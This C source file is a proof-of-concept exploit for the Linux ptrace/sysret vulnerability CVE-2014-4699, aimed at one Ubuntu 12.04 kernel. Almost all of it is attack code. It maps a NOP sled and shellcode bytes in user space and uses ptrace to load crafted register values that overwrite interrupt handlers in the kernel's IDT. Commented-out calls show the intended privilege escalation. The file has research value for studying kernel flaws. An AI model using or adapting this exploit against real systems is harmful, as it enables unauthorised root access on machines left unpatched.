/**  * CVE-2014-4699 ptrace/sysret PoC  * by Vitaly Nikolenko  * vnik@hashcrack.org  *  * > gcc -O2 poc_v0.c  *  * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the  * following will trigger the #GP in sysret and overwrite the #PF handler so we  * can land to our NOP sled mapped at 0x80000000.  * However, once landed, the IDT will be trashed. We can either attempt to  * restore it (then escalate privileges and execute our shellcode) or find  * something else to overwrite that would transfer exec flow to our controlled  * user-space address. Since 3.10.something, IDT is read-only anyway. If you  * have any ideas, let me know.  */   #include <stdio.h> #include <stdint.h> #include <assert.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/user.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h>   #define SIZE  0x10000000   typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);   unsigned long __user_cs; unsigned long __user_ss; unsigned long __user_rflags;   void __attribute__((regparm(3))) payload() {     uint32_t *fixptr = (void*)0xffffffff81dd70e8;     // restore the #PF handler     *fixptr = -1;     //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;     //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;     //commit_creds(prepare_kernel_cred((uint64_t)NULL));       //__asm__ volatile ("swapgs\n\t"     //        "..."); }   int main() {     struct user_regs_struct regs;     uint8_t *trampoline, *tmp;     int status;       struct {         uint16_t limit;         uint64_t addr;     } __attribute__((packed)) idt;           // MAP_POPULATE so we don't trigger extra #PF     trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);     assert(trampoline == 0x80000000);     memset(trampoline, 0x90, SIZE);          tmp = trampoline;         tmp += SIZE-1024;         memcpy(tmp, &payload, 1024);     memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);       pid_t chld;           if ((chld = fork()) < 0) {         perror("fork");         exit(1);     }           if (chld == 0) {          if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {             perror("PTRACE_TRACEME");             exit(1);         }         raise(SIGSTOP);         fork();         return 0;     }       asm volatile("sidt %0" : "=m" (idt));     printf("IDT addr = 0x%lx\n", idt.addr);       waitpid(chld, &status, 0);       ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);        ptrace(PTRACE_CONT, chld, 0, 0);       waitpid(chld, &status, 0);            ptrace(PTRACE_GETREGS, chld, NULL, ®s);     regs.rdi = 0x0000000000000000;     regs.rip = 0x8fffffffffffffff;     regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;       // attempt to restore the IDT     regs.rdi = 0x0000000000000000;     regs.rsi = 0x81658e000010cbd0;     regs.rdx = 0x00000000ffffffff;     regs.rcx = 0x81658e000010cba0;     regs.rax = 0x00000000ffffffff;     regs.r8  = 0x81658e010010cb00;     regs.r9  = 0x00000000ffffffff;     regs.r10 = 0x81668e0000106b10;     regs.r11 = 0x00000000ffffffff;     regs.rbx = 0x81668e0000106ac0;     regs.rbp = 0x00000000ffffffff;     regs.r12 = 0x81668e0000106ac0;     regs.r13 = 0x00000000ffffffff;     regs.r14 = 0x81668e0200106a90;     regs.r15 = 0x00000000ffffffff;           ptrace(PTRACE_SETREGS, chld, NULL, ®s);       ptrace(PTRACE_CONT, chld, 0, 0);       ptrace(PTRACE_DETACH, chld, 0, 0); }